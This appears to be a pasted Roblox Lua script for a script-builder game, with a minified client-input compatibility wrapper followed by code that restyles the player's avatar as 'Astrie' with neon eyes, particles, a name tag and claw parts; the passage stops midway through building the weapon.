SHOW:
|
|
- or go back to the newest paste.
1 | if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end | |
2 | local Player,Mouse,mouse,UserInputService,ContextActionService = owner | |
3 | local RealPlayer = Player | |
4 | do print("FE Compatibility code by Mokiros")local a=RealPlayer;script.Parent=a.Character;local b=Instance.new("RemoteEvent")b.Name="UserInput_Event"local function c()local d={_fakeEvent=true,Functions={},Connect=function(self,e)table.insert(self.Functions,e)end}d.connect=d.Connect;return d end;local f={Target=nil,Hit=CFrame.new(),KeyUp=c(),KeyDown=c(),Button1Up=c(),Button1Down=c(),Button2Up=c(),Button2Down=c()}local g={InputBegan=c(),InputEnded=c()}local CAS={Actions={},BindAction=function(self,h,i,j,...)CAS.Actions[h]=i and{Name=h,Function=i,Keys={...}}or nil end}CAS.UnbindAction=CAS.BindAction;local function k(self,l,...)local d=f[l]if d and d._fakeEvent then for m,e in pairs(d.Functions)do e(...)end end end;f.TrigEvent=k;g.TrigEvent=k;b.OnServerEvent:Connect(function(n,o)if n~=a then return end;f.Target=o.Target;f.Hit=o.Hit;if not o.isMouse then local p=o.UserInputState==Enum.UserInputState.Begin;if o.UserInputType==Enum.UserInputType.MouseButton1 then return f:TrigEvent(p and"Button1Down"or"Button1Up")end;if o.UserInputType==Enum.UserInputType.MouseButton2 then return f:TrigEvent(p and"Button2Down"or"Button2Up")end;for m,d in pairs(CAS.Actions)do for m,q in pairs(d.Keys)do if q==o.KeyCode then d.Function(d.Name,o.UserInputState,o)end end end;f:TrigEvent(p and"KeyDown"or"KeyUp",o.KeyCode.Name:lower())g:TrigEvent(p and"InputBegan"or"InputEnded",o,false)end end)b.Parent=NLS([==[local a=game:GetService("Players").LocalPlayer;local b=script:WaitForChild("UserInput_Event")local c=a:GetMouse()local d=game:GetService("UserInputService")local e=function(f,g)if g then return end;b:FireServer({KeyCode=f.KeyCode,UserInputType=f.UserInputType,UserInputState=f.UserInputState,Hit=c.Hit,Target=c.Target})end;d.InputBegan:Connect(e)d.InputEnded:Connect(e)local h,i;while wait(1/30)do if h~=c.Hit or i~=c.Target then h,i=c.Hit,c.Target;b:FireServer({isMouse=true,Target=i,Hit=h})end end]==],Player.Character)local r=game;local s={__index=function(self,q)local t=rawget(self,"_RealService")if t then return typeof(t[q])=="function"and function(m,...)return t[q](t,...)end or t[q]end end,__newindex=function(self,q,u)local t=rawget(self,"_RealService")if t then t[q]=u end end}local function v(d,w)d._RealService=typeof(w)=="string"and r:GetService(w)or w;return setmetatable(d,s)end;local x={GetService=function(self,t)return rawget(self,t)or r:GetService(t)end,Players=v({LocalPlayer=v({GetMouse=function(self)return f end},Player)},"Players"),UserInputService=v(g,"UserInputService"),ContextActionService=v(CAS,"ContextActionService"),RunService=v({_btrs={},RenderStepped=r:GetService("RunService").Heartbeat,BindToRenderStep=function(self,h,m,i)self._btrs[h]=self.Heartbeat:Connect(i)end,UnbindFromRenderStep=function(self,h)self._btrs[h]:Disconnect()end},"RunService")}rawset(x.Players,"localPlayer",x.Players.LocalPlayer)x.service=x.GetService;v(x,game)game,owner=x,x.Players.LocalPlayer end | |
5 | ||
6 | paly = game.Players.LocalPlayer | |
7 | Player = game:GetService("Players").LocalPlayer | |
8 | p = game.Players.LocalPlayer | |
9 | char = paly.Character | |
10 | vt = Vector3.new | |
11 | rarm = char["Right Arm"] | |
12 | hed = char.Head | |
13 | larm = char["Left Arm"] | |
14 | rleg = char["Right Leg"] | |
15 | lleg = char["Left Leg"] | |
16 | local maincolor = BrickColor.random() | |
17 | local effolemode = false | |
18 | local wrathmode = false | |
19 | local noobmode = false | |
20 | local randomname = "???" | |
21 | local randomnamefem = "???" | |
22 | local randomchanger = 6 | |
23 | if paly.Name == "BINO2002" then | |
24 | randomchanger = 6 | |
25 | end | |
26 | if randomchanger == 6 then | |
27 | randomnamefem = "Astrie" | |
28 | effolemode = true | |
29 | maincolor = BrickColor.new("Royal purple") | |
30 | ||
31 | local torsmesh = Instance.new("CharacterMesh", char) | |
32 | torsmesh.BodyPart = "Torso" | |
33 | torsmesh.MeshId = "48112070" | |
34 | local dec2 = Instance.new("Decal", char) | |
35 | dec2.Face = "Front" | |
36 | dec2.Texture = "rbxassetid://381091841" | |
37 | dec2.Parent = char.Head | |
38 | char.Head.face.Transparency = 1 | |
39 | char.Head.face.Texture = "http://www.roblox.com/asset/?id=0" | |
40 | ||
41 | for i,v in pairs(char:children()) do | |
42 | if v:IsA("Hat") then | |
43 | v:Destroy() | |
44 | end | |
45 | end | |
46 | for i,v in pairs(char:children()) do | |
47 | if v:IsA("Accessory") then | |
48 | v:Destroy() | |
49 | end | |
50 | end | |
51 | for i,v in pairs(char:children()) do | |
52 | if v:IsA("Hair") then | |
53 | v:Destroy() | |
54 | end | |
55 | end | |
56 | for i,v in pairs(char:children()) do | |
57 | if v:IsA("Shirt") then | |
58 | v:Destroy() | |
59 | end | |
60 | end | |
61 | for i,v in pairs(char:children()) do | |
62 | if v:IsA("Pants") then | |
63 | v:Destroy() | |
64 | end | |
65 | end | |
66 | ||
67 | local eye12 = Instance.new("Part") | |
68 | eye12.Parent = char | |
69 | eye12.Size = Vector3.new(0.2, 0.2, 0.2) | |
70 | eye12.Archivable = true | |
71 | eye12.Transparency = 0 | |
72 | eye12.Shape = "Ball" | |
73 | eye12.BrickColor = maincolor | |
74 | eye12.Material = "Neon" | |
75 | eye12.CanCollide = false | |
76 | local mesh2 = Instance.new("SpecialMesh",eye12) | |
77 | mesh2.MeshType = "Sphere" | |
78 | mesh2.Scale = Vector3.new(0.75, 1, 1) | |
79 | local weld1en2 = Instance.new("Weld") | |
80 | weld1en2.Parent = hed | |
81 | weld1en2.Part0 = hed | |
82 | weld1en2.Part1 = eye12 | |
83 | weld1en2.C1 = CFrame.new(0.115, -0.19, 0.5475) | |
84 | local eye1 = Instance.new("Part") | |
85 | eye1.Parent = char | |
86 | eye1.Size = Vector3.new(0.2, 0.2, 0.2) | |
87 | eye1.Archivable = true | |
88 | eye1.Transparency = 0 | |
89 | eye1.Shape = "Ball" | |
90 | eye1.BrickColor = maincolor | |
91 | eye1.Material = "Neon" | |
92 | eye1.CanCollide = false | |
93 | local mesh = Instance.new("SpecialMesh",eye1) | |
94 | mesh.MeshType = "Sphere" | |
95 | mesh.Scale = Vector3.new(0.75, 1, 1) | |
96 | local weld1en = Instance.new("Weld") | |
97 | weld1en.Parent = hed | |
98 | weld1en.Part0 = hed | |
99 | weld1en.Part1 = eye1 | |
100 | weld1en.C1 = CFrame.new(-0.115, -0.19, 0.5475) | |
101 | ||
102 | local BC = char["Body Colors"] | |
103 | BC.HeadColor = BrickColor.new("White") | |
104 | BC.LeftArmColor = BrickColor.new("White") | |
105 | BC.LeftLegColor = BrickColor.new("White") | |
106 | BC.RightArmColor = BrickColor.new("White") | |
107 | BC.RightLegColor = BrickColor.new("White") | |
108 | BC.TorsoColor = BrickColor.new("White") | |
109 | ||
110 | ypcall(function() | |
111 | shirt = Instance.new("Shirt", char) | |
112 | shirt.Name = "Shirt" | |
113 | pants = Instance.new("Pants", char) | |
114 | pants.Name = "Pants" | |
115 | char.Shirt.ShirtTemplate = "rbxassetid://211752973" | |
116 | char.Pants.PantsTemplate = "rbxassetid://179059579" | |
117 | end) | |
118 | Reaper2 = Instance.new("Model") | |
119 | Reaper2.Parent = Player.Character | |
120 | Reaper2.Name = "Reaper2" | |
121 | rh2 = Instance.new("Part") | |
122 | rh2.Parent = Reaper2 | |
123 | rh2.BrickColor = maincolor | |
124 | rh2.Locked = true | |
125 | rh2.CanCollide = false | |
126 | mesh2 = Instance.new("SpecialMesh") | |
127 | rh2.formFactor = "Symmetric" | |
128 | mesh2.MeshType = "FileMesh" | |
129 | mesh2.MeshId = "http://www.roblox.com/asset/?id=167554431" | |
130 | mesh2.Parent = rh2 | |
131 | local weld2 = Instance.new("Weld") | |
132 | weld2.Parent = rh2 | |
133 | rh2.Transparency = 0 | |
134 | weld2.Part0 = rh2 | |
135 | weld2.Part1 = Player.Character.Head | |
136 | weld2.C0 = CFrame.new(-0.05, -0.05, -0.1025)*CFrame.Angles(0, 0, 0) | |
137 | ||
138 | Reaper3 = Instance.new("Model") | |
139 | Reaper3.Parent = Player.Character | |
140 | Reaper3.Name = "Reaper3" | |
141 | rh3 = Instance.new("Part") | |
142 | rh3.Parent = Reaper3 | |
143 | rh3.BrickColor = BrickColor.new("Really black") | |
144 | rh3.Locked = true | |
145 | rh3.CanCollide = false | |
146 | mesh3 = Instance.new("SpecialMesh") | |
147 | rh3.formFactor = "Symmetric" | |
148 | mesh3.MeshType = "FileMesh" | |
149 | mesh3.MeshId = "http://www.roblox.com/asset/?id=101176852" | |
150 | mesh3.Parent = rh3 | |
151 | local weld3 = Instance.new("Weld") | |
152 | weld3.Parent = rh3 | |
153 | rh3.Transparency = 0 | |
154 | weld3.Part0 = rh3 | |
155 | weld3.Part1 = Player.Character.Head | |
156 | weld3.C0 = CFrame.new(0, -1.23, 0)*CFrame.Angles(0, 0, 0) | |
157 | ||
158 | local orbe = Instance.new("Part") | |
159 | orbe.Parent = char | |
160 | orbe.Size = Vector3.new(0.2, 0.2, 0.2) | |
161 | orbe.Archivable = true | |
162 | orbe.Transparency = 1 | |
163 | orbe.BrickColor = maincolor | |
164 | orbe.Material = "Neon" | |
165 | orbe.CanCollide = false | |
166 | local weld1e = Instance.new("Weld") | |
167 | weld1e.Parent = rleg | |
168 | weld1e.Part0 = rleg | |
169 | weld1e.Part1 = orbe | |
170 | weld1e.C1 = CFrame.new(0, 1.125, 0) | |
171 | local pt1e = NumberSequenceKeypoint.new(0,0.85,0) | |
172 | local pt2e = NumberSequenceKeypoint.new(1,0,0) | |
173 | local effectoe = Instance.new("ParticleEmitter",orbe) | |
174 | effectoe.LightEmission = 1 | |
175 | effectoe.Texture = "rbxasset://textures/particles/smoke_main.dds" | |
176 | effectoe.Color = ColorSequence.new(maincolor.Color) | |
177 | effectoe.Rate = 10000 | |
178 | effectoe.Lifetime = NumberRange.new(1) | |
179 | effectoe.Size = NumberSequence.new({pt1e,pt2e}) | |
180 | effectoe.Speed = NumberRange.new(0,0) | |
181 | effectoe.RotSpeed = NumberRange.new(100,100) | |
182 | ||
183 | local orbze = Instance.new("Part") | |
184 | orbze.Parent = char | |
185 | orbze.Size = Vector3.new(0.2, 0.2, 0.2) | |
186 | orbze.Archivable = true | |
187 | orbze.Transparency = 1 | |
188 | orbze.BrickColor = maincolor | |
189 | orbze.Material = "Neon" | |
190 | orbze.CanCollide = false | |
191 | local weldz1 = Instance.new("Weld") | |
192 | weldz1.Parent = lleg | |
193 | weldz1.Part0 = lleg | |
194 | weldz1.Part1 = orbze | |
195 | weldz1.C1 = CFrame.new(0, 1.125, 0) | |
196 | local effectone = Instance.new("ParticleEmitter",orbze) | |
197 | effectone.LightEmission = 1 | |
198 | effectone.Texture = "rbxasset://textures/particles/smoke_main.dds" | |
199 | effectone.Color = ColorSequence.new(maincolor.Color) | |
200 | effectone.Rate = 10000 | |
201 | effectone.Lifetime = NumberRange.new(1) | |
202 | effectone.Size = NumberSequence.new({pt1e,pt2e}) | |
203 | effectone.Speed = NumberRange.new(0,0) | |
204 | effectone.RotSpeed = NumberRange.new(100,100) | |
205 | end | |
206 | ||
207 | if effolemode == true then | |
208 | maincolor = BrickColor.new("Royal purple") | |
209 | end | |
210 | ||
211 | local orb = Instance.new("Part") | |
212 | orb.Parent = char | |
213 | orb.Size = Vector3.new(1, 1, 1) | |
214 | orb.Archivable = true | |
215 | orb.Transparency = 1 | |
216 | orb.BrickColor = BrickColor.new("Bright orange") | |
217 | orb.Material = "Wood" | |
218 | orb.CanCollide = false | |
219 | local weld1 = Instance.new("Weld") | |
220 | weld1.Parent = rarm | |
221 | weld1.Part0 = rarm | |
222 | weld1.Part1 = orb | |
223 | weld1.C1 = CFrame.new(0, 1.125, 0) | |
224 | local pt1 = NumberSequenceKeypoint.new(0,0.475,0) | |
225 | local pt2 = NumberSequenceKeypoint.new(1,0,0) | |
226 | local effecto = Instance.new("ParticleEmitter",orb) | |
227 | effecto.LightEmission = 1 | |
228 | effecto.Texture = "rbxasset://textures/particles/smoke_main.dds" | |
229 | effecto.Color = ColorSequence.new(maincolor.Color) | |
230 | effecto.Rate = 10000 | |
231 | effecto.Lifetime = NumberRange.new(1) | |
232 | effecto.Size = NumberSequence.new({pt1,pt2}) | |
233 | effecto.Speed = NumberRange.new(0,0) | |
234 | effecto.RotSpeed = NumberRange.new(100,100) | |
235 | ||
236 | local orbz = Instance.new("Part") | |
237 | orbz.Parent = char | |
238 | orbz.Size = Vector3.new(1, 1, 1) | |
239 | orbz.Archivable = true | |
240 | orbz.Transparency = 1 | |
241 | orbz.BrickColor = BrickColor.new("Bright orange") | |
242 | orbz.Material = "Wood" | |
243 | orbz.CanCollide = false | |
244 | local weldz1 = Instance.new("Weld") | |
245 | weldz1.Parent = larm | |
246 | weldz1.Part0 = larm | |
247 | weldz1.Part1 = orbz | |
248 | weldz1.C1 = CFrame.new(0, 1.125, 0) | |
249 | local effecton = Instance.new("ParticleEmitter",orbz) | |
250 | effecton.LightEmission = 1 | |
251 | effecton.Texture = "rbxasset://textures/particles/smoke_main.dds" | |
252 | effecton.Color = ColorSequence.new(maincolor.Color) | |
253 | effecton.Rate = 10000 | |
254 | effecton.Lifetime = NumberRange.new(1) | |
255 | effecton.Size = NumberSequence.new({pt1,pt2}) | |
256 | effecton.Speed = NumberRange.new(0,0) | |
257 | effecton.RotSpeed = NumberRange.new(100,100) | |
258 | ||
259 | ||
260 | p = game.Players.LocalPlayer | |
261 | char = p.Character | |
262 | torso = char.Torso | |
263 | neck = char.Torso.Neck | |
264 | hum = char.Humanoid | |
265 | hum.MaxHealth = 10000 | |
266 | wait() | |
267 | hum.Health =hum.MaxHealth | |
268 | ||
269 | CV="Hot pink" | |
270 | ||
271 | local txt = Instance.new("BillboardGui", char) | |
272 | txt.Adornee = char .Head | |
273 | txt.Name = "_status" | |
274 | txt.Size = UDim2.new(2, 0, 1.2, 0) | |
275 | txt.StudsOffset = Vector3.new(-9, 8, 0) | |
276 | local text = Instance.new("TextLabel", txt) | |
277 | text.Size = UDim2.new(10, 0, 7, 0) | |
278 | text.FontSize = "Size24" | |
279 | text.TextScaled = true | |
280 | text.TextTransparency = 0 | |
281 | text.BackgroundTransparency = 1 | |
282 | text.TextTransparency = 0 | |
283 | text.TextStrokeTransparency = 0 | |
284 | text.Font = "SciFi" | |
285 | text.TextStrokeColor3 = Color3.new(0,0,0) | |
286 | ||
287 | v=Instance.new("Part") | |
288 | v.Name = "ColorBrick" | |
289 | v.Parent=p.Character | |
290 | v.FormFactor="Symmetric" | |
291 | v.Anchored=true | |
292 | v.CanCollide=false | |
293 | v.BottomSurface="Smooth" | |
294 | v.TopSurface="Smooth" | |
295 | v.Size=Vector3.new(10,5,3) | |
296 | v.Transparency=1 | |
297 | v.CFrame=char.Torso.CFrame | |
298 | v.BrickColor=BrickColor.new(CV) | |
299 | v.Transparency=1 | |
300 | text.TextColor3 = BrickColor.new("Royal purple").Color | |
301 | v.Shape="Block" | |
302 | text.Text = "Astrie" | |
303 | ||
304 | ||
305 | euler = CFrame.fromEulerAnglesXYZ | |
306 | angles = CFrame.Angles | |
307 | local player = "LocalPlayer" | |
308 | local Character = game.Players[player].Character | |
309 | it = Instance.new | |
310 | vt = Vector3.new | |
311 | bc = BrickColor.new | |
312 | cf = CFrame.new | |
313 | mr = math.rad | |
314 | local Weapon = {} | |
315 | local p = game.Players.LocalPlayer | |
316 | local char = p.Character | |
317 | local mouse = p:GetMouse() | |
318 | local larm = char["Left Arm"] | |
319 | local rarm = char["Right Arm"] | |
320 | local lleg = char["Left Leg"] | |
321 | local rleg = char["Right Leg"] | |
322 | local hed = char.Head | |
323 | local torso = char.Torso | |
324 | local hum = char.Humanoid | |
325 | local cam = game.Workspace.CurrentCamera | |
326 | local root = char.HumanoidRootPart | |
327 | local deb = false | |
328 | local shot = 0 | |
329 | ||
330 | local debris=game:service"Debris" | |
331 | local l = game:GetService("Lighting") | |
332 | local rs = game:GetService("RunService").RenderStepped | |
333 | ptz = {0.8, 0.85, 0.9, 0.95, 1, 1.05, 1.1} | |
334 | math.randomseed(os.time()) | |
335 | for i,v in pairs (hed:GetChildren()) do | |
336 | if v:IsA("Sound") then | |
337 | v:Destroy() | |
338 | end | |
339 | end | |
340 | ---------------------------------------------------- BeastClaw | |
341 | NoOutline = function(Part) | |
342 | Part.TopSurface = 10 | |
343 | end | |
344 | part = function(formfactor, parent, reflectance, transparency, brickcolor, name, size) | |
345 | local fp = it("Part") | |
346 | fp.formFactor = formfactor | |
347 | fp.Parent = parent | |
348 | fp.Reflectance = reflectance | |
349 | fp.Transparency = transparency | |
350 | fp.CanCollide = false | |
351 | fp.Locked = true | |
352 | fp.BrickColor = brickcolor | |
353 | fp.Name = name | |
354 | fp.Size = size | |
355 | NoOutline(fp) | |
356 | fp.Material = "Neon" | |
357 | fp:BreakJoints() | |
358 | return fp | |
359 | end | |
360 | mesh = function(Mesh, part, meshtype, meshid, offset, scale) | |
361 | local mesh = it(Mesh) | |
362 | mesh.Parent = part | |
363 | if Mesh == "SpecialMesh" then | |
364 | mesh.MeshType = meshtype | |
365 | if meshid ~= "nil" then | |
366 | mesh.MeshId = "http://www.roblox.com/asset/?id=" .. meshid | |
367 | end | |
368 | end | |
369 | mesh.Offset = offset | |
370 | mesh.Scale = scale | |
371 | return mesh | |
372 | end | |
373 | weld = function(parent, part0, part1, c0) | |
374 | local weld = it("Motor6D") | |
375 | weld.Parent = parent | |
376 | weld.Part0 = part0 | |
377 | weld.Part1 = part1 | |
378 | weld.C0 = c0 | |
379 | return weld | |
380 | end | |
381 | gui = function(GuiType, parent, text, backtrans, backcol, pos, size, image) | |
382 | local gui = it(GuiType) | |
383 | gui.Parent = parent | |
384 | gui.BackgroundTransparency = backtrans | |
385 | gui.BackgroundColor3 = backcol | |
386 | gui.SizeConstraint = "RelativeXY" | |
387 | gui.Position = pos | |
388 | gui.Size = size | |
389 | if GuiType == "TextLabel" then | |
390 | gui.Text = text | |
391 | gui.TextXAlignment = "Center" | |
392 | gui.TextYAlignment = "Center" | |
393 | gui.Font = "SourceSans" | |
394 | gui.FontSize = "Size14" | |
395 | gui.TextWrapped = false | |
396 | gui.TextStrokeTransparency = 0 | |
397 | gui.TextColor = TorsoColor | |
398 | else | |
399 | if GuiType == "ImageLabel" then | |
400 | gui.Image = "rbxassetid://" .. image | |
401 | gui.ImageColor3 = backcol | |
402 | end | |
403 | end | |
404 | return gui | |
405 | end | |
406 | local handle = nil | |
407 | AesthPart = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef) | |
408 | prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt()) | |
409 | prt.Material = neon | |
410 | msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1)) | |
411 | wld = weld(handle, prt, wldpar, ceef) | |
412 | v = it("NumberValue", prt) | |
413 | v.Value = trans | |
414 | v.Name = "MainTransparency" | |
415 | return prt, msh, wld | |
416 | end | |
417 | AesthPartHand = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef, wldpare) | |
418 | prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt()) | |
419 | prt.Material = neon | |
420 | msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1)) | |
421 | wld = weld(wldpare, prt, wldpar, ceef) | |
422 | v = it("NumberValue", prt) | |
423 | v.Value = trans | |
424 | v.Name = "MainTransparency" | |
425 | return prt, msh, wld | |
426 | end | |
427 | local modelzorzez = Instance.new("Model") | |
428 | modelzorzez.Parent = workspace.CurrentCamera | |
429 | modelzorzez.Name = "none" | |
430 | local Torso = Character.Torso | |
431 | local LeftArm = Character["Left Arm"] | |
432 | local RightArm = Character["Right Arm"] | |
433 | local LeftLeg = Character["Left Leg"] | |
434 | local RightLeg = Character["Right Leg"] | |
435 | local Head = Character.Head | |
436 | local RootPart = Character.HumanoidRootPart | |
437 | handle = part(3, modelzorzez, 0, 1, BrickColor.new("Really black"), "Handle", vt()) | |
438 | local handlewld = weld(handle, handle, Torso, euler(0, 0, -0.8) * cf(0, 0, -0.7)) | |
439 | ||
440 | -- SAHHHH DUUDEEE | |
441 | ||
442 | ||
443 | ||
444 | ||
445 | -- params : ... | |
446 | ||
447 | wait(0.016666666666667) | |
448 | script.Archivable = false | |
449 | Effects = {} | |
450 | local Player = game.Players.localPlayer | |
451 | local Character = Player.Character | |
452 | local Humanoid = Character.Humanoid | |
453 | local mouse = Player:GetMouse() | |
454 | local m = Instance.new("Model", Character) | |
455 | m.Name = "WeaponModel" | |
456 | local effect = Instance.new("Model", Character) | |
457 | effect.Name = "effecsfsafzx" | |
458 | local demon = Instance.new("Model", Character) | |
459 | demon.Name = "demdemd" | |
460 | local LeftArm = Character["Left Arm"] | |
461 | local RightArm = Character["Right Arm"] | |
462 | local LeftLeg = Character["Left Leg"] | |
463 | local RightLeg = Character["Right Leg"] | |
464 | local do2target = nil | |
465 | local Head = Character.Head | |
466 | local Torso = Character.Torso | |
467 | TorsoColor = BrickColor.new("Royal purple") | |
468 | z = Instance.new("Sound", Torso) | |
469 | z.SoundId = "rbxassetid://0" -- Put Music ID Here. | |
470 | z.Looped = true | |
471 | z.Pitch = 0 | |
472 | z.Volume = 0 | |
473 | wait(.1) | |
474 | z:Play() | |
475 | local cam = game.Workspace.CurrentCamera | |
476 | local RootPart = Character.HumanoidRootPart | |
477 | local RootJoint = RootPart.RootJoint | |
478 | local equipped = false | |
479 | local attack = false | |
480 | local Anim = "Idle" | |
481 | local idle = 0 | |
482 | local attacktype = 1 | |
483 | local Torsovelocity = RootPart.Velocity * Vector3.new(1, 0, 1).magnitude | |
484 | local velocity = RootPart.Velocity.y | |
485 | local sine = 0 | |
486 | local change = 1 | |
487 | local mana = 0 | |
488 | local it = Instance.new | |
489 | vt = Vector3.new | |
490 | local grabbed = false | |
491 | local cf = CFrame.new | |
492 | local mr = math.rad | |
493 | local angles = CFrame.Angles | |
494 | local ud = UDim2.new | |
495 | local c3 = Color3.new | |
496 | clerp = function(a, b, t) | |
497 | ||
498 | return a:lerp(b, t) | |
499 | end | |
500 | ||
501 | local RbxUtility = LoadLibrary("RbxUtility") | |
502 | local Create = RbxUtility.Create | |
503 | RemoveOutlines = function(part) | |
504 | ||
505 | part.TopSurface = 10 | |
506 | end | |
507 | ||
508 | CreatePart = function(Parent, Material, Reflectance, Transparency, BColor, Name, Size) | |
509 | ||
510 | local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material}) | |
511 | RemoveOutlines(Part) | |
512 | return Part | |
513 | end | |
514 | ||
515 | CreateMesh = function(Mesh, Part, MeshType, MeshId, OffSet, Scale) | |
516 | ||
517 | local Msh = Create(Mesh)({Parent = Part, Offset = OffSet, Scale = Scale}) | |
518 | if Mesh == "SpecialMesh" then | |
519 | Msh.MeshType = MeshType | |
520 | Msh.MeshId = MeshId | |
521 | end | |
522 | return Msh | |
523 | end | |
524 | ||
525 | local co1 = 3 | |
526 | local co2 = 10 | |
527 | local co3 = 15 | |
528 | local co4 = 30 | |
529 | local cooldown1 = 0 | |
530 | local cooldown2 = 0 | |
531 | local cooldown3 = 0 | |
532 | local cooldown4 = 0 | |
533 | local maxEnergy = 100 | |
534 | local Energy = 0 | |
535 | local skill1stam = 1000 | |
536 | local skill2stam = 1000 | |
537 | local skill3stam = 1000 | |
538 | local skill4stam = 1000 | |
539 | local recovermana = 5 | |
540 | local skillcolorscheme = BrickColor.new("White").Color | |
541 | local scrn = Instance.new("ScreenGui", Player.PlayerGui) | |
542 | makeframe = function(par, trans, pos, size, color) | |
543 | ||
544 | local frame = Instance.new("Frame", par) | |
545 | frame.BackgroundTransparency = trans | |
546 | frame.BorderSizePixel = 0 | |
547 | frame.Position = pos | |
548 | frame.Size = size | |
549 | frame.BackgroundColor3 = color | |
550 | return frame | |
551 | end | |
552 | ||
553 | makelabel = function(par, text) | |
554 | ||
555 | local label = Instance.new("TextLabel", par) | |
556 | label.BackgroundTransparency = 1 | |
557 | label.Size = UDim2.new(1, 0, 1, 0) | |
558 | label.Position = UDim2.new(0, 0, 0, 0) | |
559 | label.TextColor3 = Color3.new(255, 255, 255) | |
560 | label.TextStrokeTransparency = 0 | |
561 | label.FontSize = Enum.FontSize.Size32 | |
562 | label.Font = Enum.Font.SourceSansLight | |
563 | label.BorderSizePixel = 0 | |
564 | label.TextScaled = true | |
565 | label.Text = text | |
566 | end | |
567 | ||
568 | ArtificialHB = Instance.new("BindableEvent", script) | |
569 | ArtificialHB.Name = "Heartbeat" | |
570 | script:WaitForChild("Heartbeat") | |
571 | frame = 0.033333333333333 | |
572 | tf = 0 | |
573 | allowframeloss = false | |
574 | tossremainder = false | |
575 | lastframe = tick() | |
576 | script.Heartbeat:Fire() | |
577 | game:GetService("RunService").Heartbeat:connect(function(s, p) | |
578 | ||
579 | tf = tf + s | |
580 | if frame <= tf then | |
581 | if allowframeloss then | |
582 | script.Heartbeat:Fire() | |
583 | lastframe = tick() | |
584 | else | |
585 | for i = 1, math.floor(tf / frame) do | |
586 | script.Heartbeat:Fire() | |
587 | end | |
588 | lastframe = tick() | |
589 | end | |
590 | if tossremainder then | |
591 | tf = 0 | |
592 | else | |
593 | tf = tf - frame * math.floor(tf / frame) | |
594 | end | |
595 | end | |
596 | end | |
597 | ) | |
598 | swait = function(num) | |
599 | ||
600 | if num == 0 or num == nil then | |
601 | ArtificialHB.Event:wait() | |
602 | else | |
603 | for i = 0, num do | |
604 | ArtificialHB.Event:wait() | |
605 | end | |
606 | end | |
607 | end | |
608 | ||
609 | CreateWeld = function(Parent, Part0, Part1, C0, C1) | |
610 | ||
611 | local Weld = Create("Weld")({Parent = Parent, Part0 = Part0, Part1 = Part1, C0 = C0, C1 = C1}) | |
612 | return Weld | |
613 | end | |
614 | ||
615 | rayCast = function(Position, Direction, Range, Ignore) | |
616 | ||
617 | return game:service("Workspace"):FindPartOnRay(Ray.new(Position, Direction.unit * (Range or 999.999)), Ignore) | |
618 | end | |
619 | ||
620 | CreateSound = function(id, par, vol, pit) | |
621 | ||
622 | coroutine.resume(coroutine.create(function() | |
623 | ||
624 | local sou = Instance.new("Sound", par or workspace) | |
625 | sou.Volume = vol | |
626 | sou.Pitch = pit or 1 | |
627 | sou.SoundId = id | |
628 | swait() | |
629 | sou:play() | |
630 | game:GetService("Debris"):AddItem(sou, 6) | |
631 | end | |
632 | )) | |
633 | end | |
634 | ||
635 | local getclosest = function(obj, distance) | |
636 | ||
637 | local last, lastx = distance + 1, nil | |
638 | for i,v in pairs(workspace:GetChildren()) do | |
639 | if v:IsA("Model") and v ~= Character and v:findFirstChild("Humanoid") and v:findFirstChild("Torso") and v:findFirstChild("Humanoid").Health > 0 then | |
640 | local t = v.Torso | |
641 | local dist = t.Position - obj.Position.magnitude | |
642 | if dist <= distance and dist < last then | |
643 | last = dist | |
644 | lastx = v | |
645 | end | |
646 | end | |
647 | end | |
648 | return lastx | |
649 | end | |
650 | ||
651 | CreatePart2 = function(Parent, Material, Reflectance, Transparency, PartType, BColor, Name, Size) | |
652 | ||
653 | if PartType == "Part" then | |
654 | local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material}) | |
655 | RemoveOutlines(Part) | |
656 | return Part | |
657 | else | |
658 | do | |
659 | if PartType == "WedgePart" then | |
660 | local Part = Create("WedgePart")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material}) | |
661 | RemoveOutlines(Part) | |
662 | return Part | |
663 | end | |
664 | end | |
665 | end | |
666 | end | |
667 | ||
668 | Handle = CreatePart(m, Enum.Material.SmoothPlastic, 0, 1, "Dirt brown", "Handle", Vector3.new(1, 2, 1)) | |
669 | HandleWeld = CreateWeld(m, Character["Right Arm"], Handle, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
670 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
671 | ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.598956585, -0.401195407, 0, 0, 1, 0.25881803, -0.965926111, 0, 0.965926111, 0.25881803, 0)) | |
672 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.150000006)) | |
673 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
674 | ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.858075142, -0.276378155, -0.49209857, 0.353552133, -0.866025269, 0.353555113, 0.707108736, -9.03335206e-07, -0.707104981, 0.612371027, 0.500000358, 0.61237365)) | |
